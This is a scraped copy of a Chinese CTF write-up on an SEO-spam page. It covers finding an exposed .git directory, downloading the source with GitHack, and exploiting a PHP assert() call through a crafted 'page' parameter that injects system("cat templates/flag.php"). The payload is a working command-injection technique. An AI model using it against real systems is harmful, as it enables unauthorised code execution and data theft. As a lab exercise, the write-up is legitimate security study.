当前位置: 首页 > news >正文

企业网站城市分站系统宁波网站推广网站优化

企业网站城市分站系统,宁波网站推广网站优化,阳朔网站建设公司,推荐一个好点的网站Home界面: Home界面翻译如下: 欢迎访问我的网站! 我自己从头开始写的! 您可以使用上面的链接浏览页面! About界面: 观察到Git,联想Git泄露 Git泄露 Git是一个非常流行的开源分布式版本控制系…

Home界面:

在这里插入图片描述
Home界面翻译如下:
欢迎访问我的网站!
我自己从头开始写的!
您可以使用上面的链接浏览页面!


About界面:

在这里插入图片描述
观察到Git,联想Git泄露

Git泄露

Git是一个非常流行的开源分布式版本控制系统,它被广泛用于协同开发和代码管理。许多网站和应用程序都使用Git作为其代码管理系统,并将其部署到生产环境中以维护其代码库。

然而,在配置不当的情况下,可能会导致.git文件夹被直接部署到线上环境中,这可能会导致Git泄露问题。
此时可使用githack等工具下载站点存储库的整个代码历史记录和配置信息。

漏洞利用

通过枚举工具或搜索引擎来查找带有.git文件夹的存储库,以获取包含未加密密码、凭据和敏感信息的站点代码库。
如GET/.git以确认是否存在git泄露

查看是否存在Git漏洞

Payload:/.git

在这里插入图片描述
由上图,存在Git漏洞。

下载泄漏文件

利用python的githacker库下载泄露文件


GitHack的安装本文不再赘述
详情参考: [Python/网络安全] Git漏洞之Githack工具基本安装及使用详析


打开Githack,输入Payload:
python GitHack.py http://61.147.171.105:61017/.git
得到文件
在这里插入图片描述

代码审计

其中,index.php文件存在以下代码:

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}
//传入page参数,如果没有,则设置为home$file = "templates/" . $page . ".php";
//将page参数拼接成一个templates下的php文件,设置为变量file// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//判断file中是否有 ..  如果有则直接退出 这是为了防止目录遍历
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")
//检查指定的文件是否存在。如果文件不存在,将抛出另一个断言错误并停止脚本的执行。
?>

姿势

由于该代码仅对目录遍历进行防范,因此可构造POC,执行系统命令。

由于下载得到的文件中,templates目录路径下含有flag.php,故应读取该文件中内容
在这里插入图片描述

构造POC如下:

?page=qiu or system("cat templates/flag.php");

由于qiu参数不存在,page=qiu返回false 可利用or执行system函数

同时观察到该行代码:

assert("strpos('参数', '..') === false")

如果将上面的POC传入,则变为

assert("strpos('qiu or system("cat templates/flag.php");', '..') === false") 

qiu未被括号闭合,该语句注入不成功

重新构造POC如下:

?page=qiu') or system("cat templates/flag.php");

则语句变为:

assert("strpos('qiu') or system("cat templates/flag.php");', '..') === false") 

再用//将后面的语句注释掉即可

构造POC如下:

?page=qiu') or system("cat templates/flag.php");//

则语句变为:

assert("strpos('qiu') or system("cat templates/flag.php");//', '..') === false") 

最后的语句如下:

assert("strpos('qiu') or system("cat templates/flag.php");

即可实现命令的成功执行:

在这里插入图片描述

总结

该题考察Git泄露之存储库读取姿势代码审计命令执行,读者可躬身实践。

http://www.yidumall.com/news/87581.html

相关文章:

  • 淘宝网站如何推广宁波seo外包代运营
  • 怎样做网络兼职网站品牌网络推广方案
  • 怎么编辑自己的网站今天的特大新闻有哪些
  • 温州网站建设模板百度seo培训课程
  • 协策网络网站内容优化怎么去优化呢
  • 渭南做网站价格百度搜索风云榜
  • 凡科网站内容怎么做效果好北京seo优化哪家公司好
  • wordpress 文章目录插件免费版黄山seo排名优化技术
  • 开一家做网站公司成本网络营销产品策略
  • 做网站app需要懂些什么百度视频排名优化
  • 买了服务器不翻墙就用来 做网站市场推广怎么写
  • 广告创意设计作品合肥网站优化推广方案
  • 做网站要分几部分完成省委副书记
  • 目前做汽配的网站有哪些武汉网站seo推广公司
  • 济南市城乡建设委官方网站宁波seo关键词优化教程
  • 建设工程安全A证在哪个网站可查临沂seo网站管理
  • 程序员网站建设淘宝关键词优化工具
  • 怎么在网站上做宣传中山排名推广
  • 河北住房和城乡建设厅网站官网seo的实现方式
  • 营口市代做网站seo是什么职位的简称
  • 北京网站开发公司排名国内优秀网站案例
  • 一般做外单的有哪些网站广州seo推广营销
  • 大团网站建设北京昨天出啥大事了
  • 做网站收入太低如何自己搭建网站
  • 汕头网站推广制作怎么做网站百度
  • 做网销好的网站短视频培训学校
  • 泗水县最新消息seo技术培训学校
  • 九亭做网站分享推广
  • 网站关键词库怎么做有什么效果31省市新增疫情最新消息
  • 阿里云虚拟主机做淘客网站沈阳网站制作优化推广